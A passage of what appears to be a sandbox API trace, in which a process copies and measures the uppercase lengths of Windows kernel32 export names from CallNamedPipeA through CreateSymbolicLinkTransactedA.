lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0129.463] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0129.463] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0129.463] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0129.463] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0129.463] lstrlenA (lpString="CANCELIO") returned 8 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0129.463] lstrlenA (lpString="CANCELIOEX") returned 10 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0129.463] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0129.463] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0129.463] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0129.463] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0129.463] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0129.464] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0129.464] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0129.464] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0129.464] lstrlenA (lpString="CHECKELEVATION") returned 14 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0129.464] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0129.464] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0129.464] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0129.464] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0129.464] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0129.464] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0129.464] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0129.464] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0129.464] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0129.464] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0129.464] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0129.464] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0129.464] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0129.464] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0129.464] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0129.464] lstrlenA (lpString="CLOSESTATE") returned 10 [0129.464] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0129.465] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0129.465] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0129.465] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0129.465] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0129.465] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0129.465] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0129.465] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0129.465] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0129.465] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0129.465] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0129.465] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0129.465] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0129.465] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0129.465] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0129.465] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0129.465] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0129.465] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0129.465] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0129.465] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0129.465] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0129.465] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0129.465] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0129.466] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0129.466] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0129.466] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0129.466] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0129.466] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0129.466] lstrlenA (lpString="COPYCONTEXT") returned 11 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0129.466] lstrlenA (lpString="COPYFILE2") returned 9 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0129.466] lstrlenA (lpString="COPYFILEA") returned 9 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0129.466] lstrlenA (lpString="COPYFILEEXA") returned 11 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0129.466] lstrlenA (lpString="COPYFILEEXW") returned 11 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0129.466] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0129.466] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0129.466] lstrlenA (lpString="COPYFILEW") returned 9 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0129.466] lstrlenA (lpString="COPYLZFILE") returned 10 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0129.466] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0129.466] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0129.466] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0129.466] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0129.466] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0129.466] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0129.466] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0129.466] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0129.467] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0129.467] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0129.467] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0129.467] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0129.467] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0129.467] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0129.467] lstrlenA (lpString="CREATEEVENTA") returned 12 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0129.467] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0129.467] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0129.467] lstrlenA (lpString="CREATEEVENTW") returned 12 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0129.467] lstrlenA (lpString="CREATEFIBER") returned 11 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0129.467] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0129.467] lstrlenA (lpString="CREATEFILE2") returned 11 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0129.467] lstrlenA (lpString="CREATEFILEA") returned 11 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0129.467] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0129.467] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0129.467] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0129.467] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0129.467] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0129.467] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0129.467] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0129.467] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0129.468] lstrlenA (lpString="CREATEFILEW") returned 11 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0129.468] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0129.468] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0129.468] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0129.468] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0129.468] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0129.468] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0129.468] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0129.468] lstrlenA (lpString="CREATEJOBSET") returned 12 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0129.468] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0129.468] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0129.468] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0129.468] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0129.468] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0129.468] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0129.468] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0129.468] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0129.468] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0129.468] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0129.469] lstrlenA (lpString="CREATEPIPE") returned 10 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0129.469] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0129.469] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0129.469] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0129.469] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0129.469] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0129.469] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0129.469] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0129.469] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0129.469] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0129.469] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0129.469] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0129.469] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0129.469] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0129.469] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0129.469] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0129.469] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0129.469] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0129.469] lstrcpyA (in: lpString1=0x38bdb2c, 